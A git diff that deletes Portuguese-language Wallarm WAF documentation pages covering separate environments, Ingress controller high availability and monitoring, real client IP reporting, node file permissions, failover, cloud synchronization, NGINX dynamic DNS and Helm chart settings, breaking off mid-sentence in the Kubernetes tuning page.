@@ -# Como Funciona o Nó de Filtragem em Ambientes Separados - -O aplicação pode ser implantada em diferentes ambientes: produção, homologação, teste, desenvolvimento, etc. Estas instruções fornecem informações sobre as maneiras sugeridas de gerenciar um nó de filtro para diferentes ambientes. - -## O que é um Ambiente -A definição de um ambiente pode variar de empresa para empresa, e para o propósito desta instrução, a definição seguinte é usada. - -Um **ambiente** é um conjunto ou subconjunto isolado de recursos computacionais que servem diferentes finalidades (como produção, homologação, teste, desenvolvimento, etc) e são gerenciados usando o mesmo ou diferentes conjuntos de políticas (em termos de configurações de rede/software, versões de software, monitoramento, gerenciamento de alterações, etc) pelas mesmas ou diferentes equipes (SRE, QA, Desenvolvimento, etc) de uma empresa. - -Do ponto de vista das melhores práticas, é recomendado manter a configuração dos nós Wallarm sincronizada em todos os ambientes usados em um único produto vertical (estágios de desenvolvimento, teste, homologação e produção). - -## Recursos Relevantes do Wallarm - -Existem três principais recursos que permitem gerenciar diferentes configurações de nós de filtro para diferentes ambientes e realizar um lançamento gradual de alterações nos nós de filtro: - -* [Identificação de recurso](#resource-identification) -* [Contas Wallarm separadas e sub-contas](#separate-wallarm-accounts-and-sub-accounts) -* [Modo de operação do nó de filtro](../../configure-wallarm-mode.md) - -### Identificação de Recurso - -Existem duas maneiras de configurar o nó de filtro para um ambiente específico usando a identificação: - -* IDs únicos do Wallarm para cada ambiente, -* diferentes nomes de domínio URL dos ambientes (se ele já estiver configurado em sua arquitetura). - -#### Identificação do Ambiente por ID - -O conceito de Aplicações permite que você atribua diferentes IDs para diferentes ambientes protegidos, e gerencie as regras dos nós de filtro separadamente para cada ambiente. - -Ao configurar um nó de filtro, você pode adicionar IDs do Wallarm para seus ambientes usando o conceito de Aplicações. Para configurar IDs: - -1. Adicione os nomes dos ambientes e seus IDs em sua conta Wallarm → **Configurações** → seção **Aplicações**. - - ![Ambientes adicionados](../../../images/admin-guides/configuration-guides/waf-in-separate-environments/added-applications.png) -2. Especifique a configuração do ID em um nó de filtro: - - * usando a diretiva [`wallarm_application`](../../configure-parameters-en.md#wallarm_application) para implementações Docker, Kubernetes lado a lado ou baseadas em Linux; - * usando a anotação [`nginx.ingress.kubernetes.io/wallarm-application`](../../configure-kubernetes-en.md#ingress-annotations) para implementações do controlador NGINX Ingress do Kubernetes. Agora, ao criar uma nova regra de nó de filtro, é possível especificar que a regra será atribuída a um conjunto específico de IDs de aplicação. Sem o atributo, uma nova regra será automaticamente aplicada a todos os recursos protegidos em uma conta Wallarm. - -![Criando regra para ID](../../../images/admin-guides/configuration-guides/waf-in-separate-environments/create-rule-for-id.png) - -#### Identificação do Ambiente por Domínio - -Se cada ambiente estiver usando diferentes nomes de domínio URL passados no cabeçalho `HOST` do pedido HTTP, então é possível usar os nomes de domínio como identificadores únicos de cada ambiente. - -Para usar o recurso, adicione o ponteiro de cabeçalho `HOST` adequado para cada regra de nó de filtro configurada. No exemplo a seguir, a regra só será acionada para pedidos com o cabeçalho `HOST` igual a `dev.domain.com`: - -![Criando regra para HOST](../../../images/admin-guides/configuration-guides/waf-in-separate-environments/create-rule-for-host.png) - -### Contas e Sub-contas Wallarm Separadas - -Uma opção fácil para isolar a configuração do nó de filtro de diferentes ambientes é usar contas Wallarm separadas para cada ambiente ou grupo de ambientes. Esta prática recomendada é endossada por muitos fornecedores de serviços de nuvem, incluindo o Amazon AWS. - -Para simplificar o gerenciamento de várias contas Wallarm, é possível criar uma conta `master` Wallarm lógica e atribuir outras contas Wallarm usadas como sub-contas à conta `master`. Desta maneira, um único conjunto de credenciais de UI do console e API pode ser usado para gerenciar todas as contas Wallarm pertencentes à sua organização. - -Para ativar uma conta `master` e sub-contas, entre em contato com o [suporte técnico do Wallarm](mailto:support@wallarm.com). O recurso requer uma licença corporativa separada do Wallarm. - -!!! aviso "Limitações conhecidas" - * Todos os nós de filtragem conectados à mesma conta Wallarm receberão o mesmo conjunto de regras de filtragem de tráfego. Você ainda pode aplicar regras diferentes para diferentes aplicações usando [os IDs de aplicação apropriados ou cabeçalhos de pedido HTTP únicos](#resource-identification). - * Se o nó de filtragem decidir bloquear automaticamente um endereço IP (por exemplo, por causa de três ou mais vetores de ataque detectados a partir do endereço IP) o sistema irá bloquear o IP para todas as aplicações em uma conta Wallarm. \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md b/docs/latest-pt-BR/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md deleted file mode 100644 index c4cfe786f9..0000000000 --- a/docs/latest-pt-BR/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md +++ /dev/null @@ -1,61 +0,0 @@ -# Considerações de Alta Disponibilidade (Controlador de Ingresso baseado em NGINX) - -Este artigo fornece recomendações de configuração para que o controlador de Ingresso Wallarm seja altamente disponível e seja prevenido de inatividades. - ---8<-- "../include-pt-BR/ingress-controller-best-practices-intro.md" - -## Recomendações de configuração - -As seguintes recomendações são relevantes para ambientes críticos (produção). - -* Use mais de uma instância de pod do controlador de Ingresso. O comportamento é controlado usando o atributo `controller.replicaCount` no arquivo `values.yaml`. Por exemplo: - ``` - controller: - replicaCount: 2 - ``` -* Forçar o cluster Kubernetes a colocar os pods do controlador de Ingresso em nós diferentes: isso aumentará a resiliência do serviço de Ingresso em caso de falha de um nó. Este comportamento é controlado usando a funcionalidade de anti-afinidade de pods do Kubernetes, que é configurada no arquivo `values.yaml`. Por exemplo: - ``` - controller: - affinity: - podAntiAffinity: - requiredDuringSchedulingIgnoredDuringExecution: - - labelSelector: - matchExpressions: - - key: app - operator: In - values: - - nginx-ingress - topologyKey: "kubernetes.io/hostname" - ``` -* Em clusters que estão sujeitos a picos de tráfego inesperados ou outras condições que podem justificar o uso do recurso de auto dimensionamento de pod horizontal do [Kubernetes (HPA)](https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale/), ele pode ser habilitado no arquivo `values.yaml` usando o seguinte exemplo: - ``` - controller: - autoscaling: - enabled: true - minReplicas: 1 - maxReplicas: 11 - targetCPUUtilizationPercentage: 50 - targetMemoryUtilizationPercentage: 50 - ``` -* Execute pelo menos duas instâncias do serviço pós-analítico da Wallarm baseado no banco de dados Tarantool. Esses pods incluem `ingress-controller-wallarm-tarantool` no nome. O comportamento é controlado no arquivo `values.yaml` usando o atributo `controller.wallarm.tarantool.replicaCount`. Por exemplo: - ``` - controller: - wallarm: - tarantool: - replicaCount: 2 - ``` - -## Procedimento de configuração - -Para definir as configurações listadas, é recomendado usar a opção `--set` dos comandos `helm install` e `helm upgrade`, por exemplo: - -=== "Instalação do controlador de Ingresso" - ```bash - helm install --set controller.replicaCount=2 wallarm/wallarm-ingress -n - ``` - - Existem também [outros parâmetros](../../../configure-kubernetes-en.md#additional-settings-for-helm-chart) necessários para a correta instalação do controlador de ingresso. Por favor passe eles na opção `--set` também. -=== "Atualizando parâmetros do controlador de Ingresso" - ```bash - helm upgrade --reuse-values --set controller.replicaCount=2 wallarm/wallarm-ingress -n - ``` \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md b/docs/latest-pt-BR/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md deleted file mode 100644 index a662519292..0000000000 --- a/docs/latest-pt-BR/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md +++ /dev/null @@ -1,99 +0,0 @@ -# Monitoramento do Controlador Ingress Baseado em NGINX - ---8<-- "../include-pt-BR/ingress-controller-best-practices-intro.md" - -Os aspectos gerais do monitoramento do controlador Ingress NGINX já estão bem cobertos na Internet. A Wallarm fornece um conjunto adicional de métricas de monitoramento que devem ser monitoradas em um ambiente de missão crítica. O serviço de métricas `/wallarm-metrics` é desabilitado por padrão. - -Para habilitar o serviço, defina `controller.wallarm.metrics.enabled` como `true`: - -``` -controller: - wallarm: - metrics: - enabled: true -``` - -A seguir, é apresentada uma lista de métricas específicas da Wallarm no formato Prometheus disponíveis por meio do novo endpoint exposto: - -``` -# HELP wallarm_requests contagem de requisições -# TYPE wallarm_requests gauge -wallarm_requests 2 -# HELP wallarm_attacks contagem de ataques -# TYPE wallarm_attacks gauge -wallarm_attacks 0 -# HELP wallarm_blocked contagem de requisições bloqueadas -# TYPE wallarm_blocked gauge -wallarm_blocked 0 -# HELP wallarm_blocked_by_acl contagem de requisições bloqueadas por acl -# TYPE wallarm_blocked_by_acl gauge -wallarm_blocked_by_acl 0 -# HELP wallarm_acl_allow_list requisições passadas pela lista permitida -# TYPE wallarm_acl_allow_list gauge -wallarm_acl_allow_list 0 -# HELP wallarm_abnormal contagem de requisições anormais -# TYPE wallarm_abnormal gauge -wallarm_abnormal 2 -# HELP wallarm_tnt_errors contagem erros de escrita tarantool -# TYPE wallarm_tnt_errors gauge -wallarm_tnt_errors 0 -# HELP wallarm_api_errors contagem erros escrita API -# TYPE wallarm_api_errors gauge -wallarm_api_errors 0 -# HELP wallarm_requests_lost contagem de requisições perdidas -# TYPE wallarm_requests_lost gauge -wallarm_requests_lost 0 -# HELP wallarm_overlimits_time contagem do tempo de exceder limites -# TYPE wallarm_overlimits_time gauge -wallarm_overlimits_time 0 -# HELP wallarm_segfaults contagem de falhas de segmentação -# TYPE wallarm_segfaults gauge -wallarm_segfaults 0 -# HELP wallarm_memfaults contagem de eventos de limite de vmem atingido -# TYPE wallarm_memfaults gauge -wallarm_memfaults 0 -# HELP wallarm_softmemfaults contagem de eventos de limite de memória de requisição atingido -# TYPE wallarm_softmemfaults gauge -wallarm_softmemfaults 0 -# HELP wallarm_proton_errors contagem de eventos de falhas não relacionadas à memória da libproton -# TYPE wallarm_proton_errors gauge -wallarm_proton_errors 0 -# HELP wallarm_time_detect_seconds tempo gasto para detecção -# TYPE wallarm_time_detect_seconds gauge -wallarm_time_detect_seconds 0 -# HELP wallarm_db_id id do arquivo proton.db -# TYPE wallarm_db_id gauge -wallarm_db_id 71 -# HELP wallarm_lom_id id do arquivo LOM -# TYPE wallarm_lom_id gauge -wallarm_lom_id 386 -# HELP wallarm_custom_ruleset_id id do arquivo de conjunto de regras personalizadas -# TYPE wallarm_custom_ruleset_id gauge -wallarm_custom_ruleset_id{format="51"} 386 -# HELP wallarm_custom_ruleset_ver versão do formato do arquivo de conjunto de regras personalizado -# TYPE wallarm_custom_ruleset_ver gauge -wallarm_custom_ruleset_ver 51 -# HELP wallarm_db_apply_time id do tempo de aplicação do arquivo proton.db -# TYPE wallarm_db_apply_time gauge -wallarm_db_apply_time 1674548649 -# HELP wallarm_lom_apply_time tempo de aplicação do arquivo LOM -# TYPE wallarm_lom_apply_time gauge -wallarm_lom_apply_time 1674153198 -# HELP wallarm_custom_ruleset_apply_time tempo de aplicação do arquivo de conjunto de regras personalizado -# TYPE wallarm_custom_ruleset_apply_time gauge -wallarm_custom_ruleset_apply_time 1674153198 -# HELP wallarm_proton_instances contagem de instâncias proton -# TYPE wallarm_proton_instances gauge -wallarm_proton_instances{status="success"} 5 -wallarm_proton_instances{status="fallback"} 0 -wallarm_proton_instances{status="failed"} 0 -# HELP wallarm_stalled_worker_time_seconds tempo que um trabalhador ficou parado na libproton -# TYPE wallarm_stalled_worker_time_seconds gauge -wallarm_stalled_worker_time_seconds{pid="3169104"} 25 - -# HELP wallarm_startid id de início único -# TYPE wallarm_startid gauge -wallarm_startid 3226376659815907920 -``` - -Informações detalhadas sobre a configuração de monitoramento e a lista de métricas disponíveis são fornecidas nesta [documentação](../../../configure-statistics-service.md). diff --git a/docs/latest-pt-BR/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md b/docs/latest-pt-BR/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md deleted file mode 100644 index 94bb34e078..0000000000 --- a/docs/latest-pt-BR/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md +++ /dev/null @@ -1,35 +0,0 @@ -# Relatório adequado do endereço IP público do usuário final (controlador Ingress baseado em NGINX) - -Estas instruções descrevem a configuração do controlador Ingress da Wallarm necessária para identificar um endereço IP de origem de um cliente (usuário final) quando um controlador está posicionado atrás de um balanceador de carga. - -Por padrão, o controlador Ingress assume que está diretamente exposto à Internet e que os endereços IP dos clientes conectados são seus IPs reais. No entanto, as solicitações podem ser passadas pelo balanceador de carga (por exemplo, AWS ELB ou Google Network Load Balancer) antes de serem enviadas para o controlador Ingress. - -Em situações em que um controlador está colocada atrás de um balanceador de carga, o controlador Ingress considera o IP do balanceador de carga como o verdadeiro IP do usuário final, o que pode levar a [operação incorreta de alguns recursos da Wallarm](../../../using-proxy-or-balancer-en.md#possible-problems-of-using-a-proxy-server-or-load-balancer-ip-address-as-a-request-source-address). Para relatar os endereços IP corretos dos usuários finais ao controlador Ingress, por favor configure o controlador conforme descrito abaixo. - -## Etapa 1: Ativar a transferência do IP real do cliente na camada de rede - -Este recurso é altamente dependente da plataforma em nuvem que está sendo usada; na maioria dos casos, pode ser ativado definindo o atributo `values.yaml` `controller.service.externalTrafficPolicy` para o valor `Local`: - -``` -controller: - service: - externalTrafficPolicy: "Local" -``` - -## Etapa 2: Habilitar o controlador Ingress para obter o valor do cabeçalho da solicitação HTTP X-FORWARDED-FOR - -Normalmente, os balanceadores de carga adicionam o cabeçalho HTTP [`X-Forwarded-For`](https://en.wikipedia.org/wiki/X-Forwarded-For) contendo um endereço IP original do cliente. Você pode encontrar o nome exato do cabeçalho na documentação do balanceador de carga. - -O controlador Ingress da Wallarm pode obter o endereço IP real do usuário final deste cabeçalho se o `values.yaml` do controlador for configurado da seguinte forma: - -``` -controller: - config: - enable-real-ip: "true" - forwarded-for-header: "X-Forwarded-For" -``` - -* [Documentação sobre o parâmetro `enable-real-ip`](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/#enable-real-ip) -* No parâmetro [`forwarded-for-header`](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/#forwarded-for-header), por favor especifique o nome do cabeçalho do balanceador de carga contendo um endereço IP original do cliente - ---8<-- "../include-pt-BR/ingress-controller-best-practices-intro.md" diff --git a/docs/latest-pt-BR/admin-en/configure-access-to-files-needed-for-node.md b/docs/latest-pt-BR/admin-en/configure-access-to-files-needed-for-node.md deleted file mode 100644 index 14a3d39212..0000000000 --- a/docs/latest-pt-BR/admin-en/configure-access-to-files-needed-for-node.md +++ /dev/null @@ -1,48 +0,0 @@ -# Configurando os direitos de acesso aos arquivos necessários para a operação do nó - -Os serviços `wallarm-worker` e `nginx` geralmente recebem automaticamente a permissão para ler o conteúdo dos arquivos necessários para a operação do nó de filtragem, como o arquivo proton.db e o arquivo de conjunto de regras personalizadas. No entanto, se o teste não mostrar acesso, leia a descrição abaixo de como as permissões são fornecidas e como podem ser configuradas manualmente. - -## Configurando o acesso a arquivos - -Os parâmetros que fornecem acesso aos arquivos necessários para a operação do nó podem ser definidos explicitamente no arquivo `node.yaml`. Este arquivo é criado automaticamente após a execução do script `register-node`. O caminho padrão para o arquivo é `/etc/wallarm/node.yaml`. Este caminho pode ser alterado através da diretiva [`wallarm_api_conf`](configure-parameters-en.md#wallarm_api_conf). - -O arquivo `node.yaml` pode conter os seguintes parâmetros de acesso a arquivos: - -| Parâmetro | Descrição | -|--------------|-------------| -| `syncnode.owner` | Proprietário dos arquivos necessários para a operação do nó de filtragem. | -| `syncnode.group` | Grupo dos arquivos necessários para a operação do nó de filtragem. | -| `syncnode.mode` | Direitos de acesso aos arquivos necessários para a operação do nó de filtragem. | - -O algoritmo procura as permissões do arquivo realizando as seguintes etapas (vai para a próxima etapa apenas se a anterior não resolva): - -1. Parâmetros `syncnode.(TYPE).(user,group,mode)` configurados explicitamente no arquivo `node.yaml`. - - `(TYPE)` permite que você especifique o arquivo específico para o qual o parâmetro é definido. Os valores possíveis são `proton.db` ou `lom`. - - !!! aviso "significado do valor `lom`" - Preste atenção que o valor `lom` aponta para o arquivo de [conjunto de regras personalizadas](../user-guides/rules/rules.md) `/etc/wallarm/custom_ruleset`. - -1. Parâmetros `syncnode.(user,group,mode)` configurados explicitamente no arquivo `node.yaml`. -1. Para instalação baseada em NGINX, valor do `nginx_group` no arquivo `/usr/share/wallarm-common/engine/*`. - - Todos os pacotes do motor instalados fornecem o arquivo `/usr/share/wallarm-common/engine/*` contendo `nginx_group=`. - - Cada pacote com o módulo define o valor para o parâmetro `group` dependendo do NGINX para o qual foi destinado: - - * Os módulos do NGINX de nginx.org definem `group` para `nginx`. - * Os módulos para distribuições do NGINX definem `group` para `www-data`. - * Os módulos personalizados usam valores fornecidos pelo cliente. - -1. Padrões: - * `owner`: `root` - * `group`: `wallarm` - * `mode`: `0640` - -Observe que você só precisa configurar os direitos de acesso explicitamente se o resultado obtido pelo algoritmo automaticamente não atender suas necessidades. Após configurar os direitos de acesso, certifique-se de que os serviços `wallarm-worker` e `nginx` podem ler o conteúdo dos arquivos necessários para a operação do nó de filtragem. - -## Exemplo de configuração - -Note que, além dos parâmetros de acesso a arquivos (seção `syncnode`, descrita neste artigo), o arquivo `node.yaml` também conterá parâmetros fornecendo ao nó de filtragem [acesso à Nuvem](configure-cloud-node-synchronization-en.md) (seções gerais e `api`). - ---8<-- "../include-pt-BR/node-cloud-sync-configuration-example.md" diff --git a/docs/latest-pt-BR/admin-en/configure-backup-en.md b/docs/latest-pt-BR/admin-en/configure-backup-en.md deleted file mode 100644 index e6494c8a12..0000000000 --- a/docs/latest-pt-BR/admin-en/configure-backup-en.md +++ /dev/null @@ -1,28 +0,0 @@ -# Configurando um Método de Falha de Segurança - -Implementar um nó de filtro como um [proxy reverso](../glossary-en.md#reverse-proxy) requer que o nó de filtro esteja altamente disponível. A falha do nó de filtro, por exemplo, devido a uma queda de energia, limita a operação da aplicação web. Para garantir a alta disponibilidade do Wallarm, recomenda-se o uso de um dos métodos de falha de segurança descritos nesta seção. - -Um método de falha de segurança introduz nós adicionais para os quais o tráfego é automaticamente encaminhado se o nó de filtro principal falhar. - -## Falha de Segurança do Centro de Dados - -Se a aplicação web e os nós de filtro estão em um centro de dados, use o serviço "IP de Falha de Segurança" do centro de dados. - -## VRRP ou CARP - -Em cada nó de filtro, inicie um daemon `keepalived` ou `ucarp` que monitora a disponibilidade dos nós e começa a encaminhar o tráfego se os nós caírem. Este é um método padrão de alta disponibilidade que também pode ser usado para balanceamento de carga de tráfego, iniciando um IP de falha de segurança em cada nó e distribuindo o tráfego com balanceamento DNS. - -!!! info "Trabalhando com NGINX Plus" - O Wallarm pode ser configurado para trabalhar com o [NGINX Plus](https://www.nginx.com/products/nginx/) com um wrapper personalizado VRRP. - - A maioria das distribuições Linux, incluindo CentOS e Debian, possuem pacotes personalizados que podem instalar esta construção. - - Para saber sobre a instalação do Wallarm com NGINX Plus, veja as instruções detalhadas na página [«Instalação com NGINX Plus»](../installation/nginx-plus.md). - -## Balanceador de Carga de Hardware L3 ou L4 - -Um balanceador de carga de camada 3 ou 4 é uma boa solução de alta disponibilidade. - -## Balanceamento de Carga de DNS - -Especifique vários endereços IP nas configurações de DNS. Embora este método tenha como alvo o balanceamento de carga, você também pode considerá-lo útil como método de alta disponibilidade. \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/configure-cloud-node-synchronization-en.md b/docs/latest-pt-BR/admin-en/configure-cloud-node-synchronization-en.md deleted file mode 100644 index d11045336d..0000000000 --- a/docs/latest-pt-BR/admin-en/configure-cloud-node-synchronization-en.md +++ /dev/null @@ -1,59 +0,0 @@ -# Configurando a sincronização entre o nó Wallarm e a Cloud - -O nó de filtragem sincroniza regularmente com a Wallarm Cloud para: - -* Obter atualizações para [regras de processamento de tráfego (LOM)](../about-wallarm/protecting-against-attacks.md#custom-rules-for-request-analysis) -* Obter atualizações de [proton.db](../about-wallarm/protecting-against-attacks.md#library-libproton) -* Enviar dados sobre ataques e vulnerabilidades detectados -* Enviar métricas para o tráfego processado - -Estas instruções descrevem os parâmetros e métodos usados para configurar a sincronização do nó de filtragem e da Nuvem Wallarm. - -## Parâmetros de acesso - -O arquivo `node.yaml` contém os parâmetros que fornecem ao nó de filtragem acesso à Cloud. - -Este arquivo é criado automaticamente após a execução do script `register-node` e inclui o nome e UUID do nó de filtragem, e a chave secreta da API Wallarm. O caminho padrão para o arquivo é `/etc/wallarm/node.yaml`. Esse caminho pode ser alterado através da diretiva [`wallarm_api_conf`](configure-parameters-en.md#wallarm_api_conf). - -O arquivo `node.yaml` pode conter os seguintes parâmetros de acesso: - -| Parâmetro | Descrição | Valor padrão | -| --------- | ----------- | ------------- | -| `hostname` | Nome do nó de filtragem. Esta variável é **obrigatória** para ser definida no arquivo `node.yaml`. | Fornecido por `register-node` | -| `regtoken` | Token para o nó poder acessar a API Wallarm. | Fornecido por `register-node` | -| `uuid` | UUID do nó de filtragem. Esta variável é **obrigatória** para ser definida no arquivo `node.yaml`. | Fornecido por `regtoken` | -| `secret` | Chave secreta para acessar a API Wallarm. Esta variável é **obrigatória** para ser definida no arquivo `node.yaml`. | Fornecido por `regtoken` | -| `api.host` | Endpoint da API Wallarm. Pode ser:
            • `us1.api.wallarm.com` para a Nuvem US
            • `api.wallarm.com` para a Nuvem EU
            | `api.wallarm.com` | -| `api.port` | Porta da API Wallarm. | `443` | -| `api.use_ssl` | Se deve usar SSL ao se conectar à API Wallarm. | `true` | -| `api.ca_verify` | Se deve habilitar/desabilitar a verificação do certificado do servidor API Wallarm. Pode ser:
            • `true` para habilitar a verificação
            • `false` para desabilitar a verificação
            . | `true` | -| `api.ca_file` | Caminho para o arquivo de certificado SSL. | `/usr/share/wallarm-common/ca.pem` | -| `api.localhost` | IP local do interface de rede através do qual as solicitações para a API Wallarm são enviadas. Este parâmetro é necessário se a interface de rede usada por padrão restringe o acesso à API Wallarm (por exemplo, o acesso à Internet pode estar fechado). | - | -| `api.localport` | Porta da interface de rede através do qual as solicitações para a API Wallarm são enviadas. Este parâmetro é necessário se a interface de rede utilizada por padrão restringe o acesso à API Wallarm (por exemplo, o acesso à Internet pode estar fechado). | - | - -Para alterar os parâmetros de sincronização, proceda com as seguintes etapas: - -1. Faça alterações no arquivo `node.yaml` adicionando os parâmetros necessários e atribuindo os valores desejados para eles. -1. Reinicie o NGINX para aplicar as configurações atualizadas ao processo de sincronização: - - --8<-- "../include-pt-BR/waf/restart-nginx-4.4-and-above.md" - -## Intervalo de sincronização - -Por padrão, o nó de filtragem sincroniza com a Wallarm Cloud a cada 120-240 segundos (2-4 minutos). Você pode alterar o intervalo de sincronização através da variável de ambiente do sistema `WALLARM_SYNCNODE_INTERVAL`. - -Para alterar o intervalo entre as sincronizações do nó de filtragem e da Wallarm Cloud: - -1. Abra o arquivo `/etc/environment`. -2. Adicione a variável `WALLARM_SYNCNODE_INTERVAL` ao arquivo e defina um valor desejado para a variável em segundos. O valor não pode ser menor que o valor padrão (`120` segundos). Por exemplo: - - ```bash - WALLARM_SYNCNODE_INTERVAL=800 - ``` -3. Salve o arquivo alterado `/etc/environment`. O novo valor do intervalo será aplicado ao processo de sincronização automaticamente. - -## Exemplo de configuração - -Observe que, além dos parâmetros que fornecem ao nó de filtragem acesso à Cloud (seções gerais e `api`, descritas neste artigo), o arquivo `node.yaml` também pode conter parâmetros que fornecem a diferentes processos [o acesso aos arquivos](configure-access-to-files-needed-for-node.md) necessários para a operação do nó (seção `syncnode`). - ---8<-- "../include-pt-BR/node-cloud-sync-configuration-example.md" diff --git a/docs/latest-pt-BR/admin-en/configure-dynamic-dns-resolution-nginx.md b/docs/latest-pt-BR/admin-en/configure-dynamic-dns-resolution-nginx.md deleted file mode 100644 index dee5fce350..0000000000 --- a/docs/latest-pt-BR/admin-en/configure-dynamic-dns-resolution-nginx.md +++ /dev/null @@ -1,33 +0,0 @@ -# Configurando a resolução DNS dinâmica no NGINX - -Se o nome de domínio for passado na diretiva `proxy_pass` do arquivo de configuração do NGINX, então o NGINX resolve o endereço IP do host apenas uma vez após a inicialização. Se o servidor DNS alterar o endereço IP do host, então o NGINX continuará usando o antigo endereço IP até que o NGINX seja recarregado ou reiniciado. Antes disso, o NGINX enviará solicitações para o endereço IP errado. - -Por exemplo: - -```bash -location / { - proxy_pass https://demo-app.com; - include proxy_params; - } -``` - -Para a resolução DNS dinâmica, você pode definir uma diretiva `proxy_pass` como variável. Nesse caso, o NGINX usará o endereço DNS que está definido na diretiva [`resolver`](https://nginx.org/en/docs/http/ngx_http_core_module.html#resolver) ao calcular a variável. - -!!! warning "Impacto da resolução DNS dinâmica no processamento de tráfego" - * A configuração do NGINX com a diretiva `resolver` e a variável na diretiva `proxy_pass` retarda o processamento de solicitações, pois será o passo adicional de resolução DNS dinâmica no processamento de solicitações. - * O NGINX re-resolve o nome de domínio quando seu tempo de vida (TTL) expira. Ao incluir o parâmetro `valid` na diretiva `resolver`, você pode instruir o NGINX a ignorar o TTL e re-resolver os nomes com uma frequência especificada. - * Se o servidor DNS estiver inativo, o NGINX não processará o tráfego. - -Por exemplo: - -```bash -location / { - resolver 172.43.1.2 valid=10s; - set $backend https://demo-app.com$uri$is_args$args; - proxy_pass $backend; - include proxy_params; - } -``` - -!!! info "Resolução DNS dinâmica no NGINX Plus" - O NGINX Plus suporta a resolução dinâmica de nomes de domínio por padrão. \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/configure-kubernetes-en.md b/docs/latest-pt-BR/admin-en/configure-kubernetes-en.md deleted file mode 100644 index 24594d40c9..0000000000 --- a/docs/latest-pt-BR/admin-en/configure-kubernetes-en.md +++ /dev/null @@ -1,256 +0,0 @@ -[node-token-types]: ../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation - -# Ajuste fino do Wallarm Ingress Controller baseado em NGINX - -Aprenda as opções de ajuste fino disponíveis para o Wallarm Ingress controller para obter o máximo da solução Wallarm. - -!!! info "Documentação oficial para NGINX Ingress Controller" - O ajuste fino do Wallarm Ingress Controller é bastante semelhante ao do NGINX Ingress Controller descrito na [documentação oficial](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/). Ao trabalhar com Wallarm, todas as opções para configurar o NGINX Ingress Controller original estão disponíveis. - -## Configurações adicionais para Helm Chart - -As configurações são definidas no arquivo [`values.yaml`](https://github.com/wallarm/ingress/blob/main/charts/ingress-nginx/values.yaml). Por padrão, o arquivo é assim: - -``` yaml -controller: - wallarm: - enabled: false - apiHost: api.wallarm.com - apiPort: 443 - apiSSL: true - token: "" - nodeGroup: defaultIngressGroup - existingSecret: - enabled: false - secretKey: token - secretName: wallarm-api-token - tarantool: - kind: Deployment - service: - annotations: {} - replicaCount: 1 - arena: "1.0" - livenessProbe: - failureThreshold: 3 - initialDelaySeconds: 10 - periodSeconds: 10 - successThreshold: 1 - timeoutSeconds: 1 - resources: {} - metrics: - enabled: false - - service: - annotations: - prometheus.io/scrape: "true" - prometheus.io/path: /wallarm-metrics - prometheus.io/port: "18080" - - ## Lista de endereços IP onde o serviço stats-exporter está disponível - ## Ref: https://kubernetes.io/docs/user-guide/services/#external-ips - ## - externalIPs: [] - - loadBalancerIP: "" - loadBalancerSourceRanges: [] - servicePort: 18080 - type: ClusterIP - synccloud: - resources: {} - collectd: - resources: {} -``` - -Para alterar essa configuração, recomendamos o uso da opção `--set` de `helm install` (ao instalar o controlador de Ingress) ou `helm upgrade` (ao atualizar os parâmetros do controlador de Ingress instalado). Por exemplo: - -=== "Instalação do controlador de Ingress" - ```bash - helm install --set controller.wallarm.enabled=true wallarm/wallarm-ingress -n - ``` -=== "Atualizando parâmetros do controlador Ingress" - ```bash - helm upgrade --reuse-values --set controller.wallarm.enabled=true wallarm/wallarm-ingress -n - ``` - -Uma descrição dos principais parâmetros que você pode configurar é fornecida abaixo. Outros parâmetros vêm com valores padrão e raramente precisam ser alterados. - -### controller.wallarm.enabled - -Permite habilitar ou desabilitar as funções Wallarm. - -**Valor padrão**: `false` - -### controller.wallarm.apiHost - -Ponto de extremidade API Wallarm. Pode ser: - -* `us1.api.wallarm.com` para a [nuvem dos EUA](../about-wallarm/overview.md#us-cloud). -* `api.wallarm.com` para a [nuvem da UE](../about-wallarm/overview.md#eu-cloud), - -**Valor padrão**: `api.wallarm.com` - -### controller.wallarm.token - -Um valor de token de nó de filtragem. É necessário para acessar a API de Wallarm. - -O token pode ser um desses [tipos][node-token-types]: - -* **Token de API (recomendado)** - Ideal se você precisar adicionar/remover dinamicamente grupos de nó para organização de UI ou se quiser controlar o ciclo de vida do token para segurança adicional. Para gerar um token de API: - - Para gerar um token de API: - - 1. Vá para Wallarm Console → **Configurações** → **Tokens de API** em [Nuvem de EUA](https://us1.my.wallarm.com/settings/api-tokens) ou [Nuvem da UE](https://my.wallarm.com/settings/api-tokens). - 1. Crie um token de API com a função **Deploy**. - 1. Durante a implantação do nó, use o token gerado e especifique o nome do grupo usando o parâmetro `controller.wallarm.nodeGroup`. Você pode adicionar vários nós a um grupo usando diferentes tokens de API. -* **Token de nó** - Adequado quando você já sabe os grupos de nó que serão utilizados. - - Para gerar um token de nó: - - 1. Vá para Wallarm Console → **Nós** em [Nuvem de EUA](https://us1.my.wallarm.com/nodes) ou [Nuvem da UE](https://my.wallarm.com/nodes). - 1. Crie um nó e nomeie o grupo de nó. - 1. Durante a implantação do nó, use o token do grupo para cada nó que você deseja incluir no grupo. - -O parâmetro é ignorado se [`controller.wallarm.existingSecret.enabled: true`](#controllerwallarmexistingsecret). - -**Valor padrão**: `não especificado` - -### controller.wallarm.nodeGroup - -A partir da versão 4.6.8 do Helm chart, isso especifica o nome do grupo de nós de filtragem que você deseja adicionar aos nós recentemente implantados. O agrupamento de nós desta maneira está disponível apenas quando você cria e conecta nós à 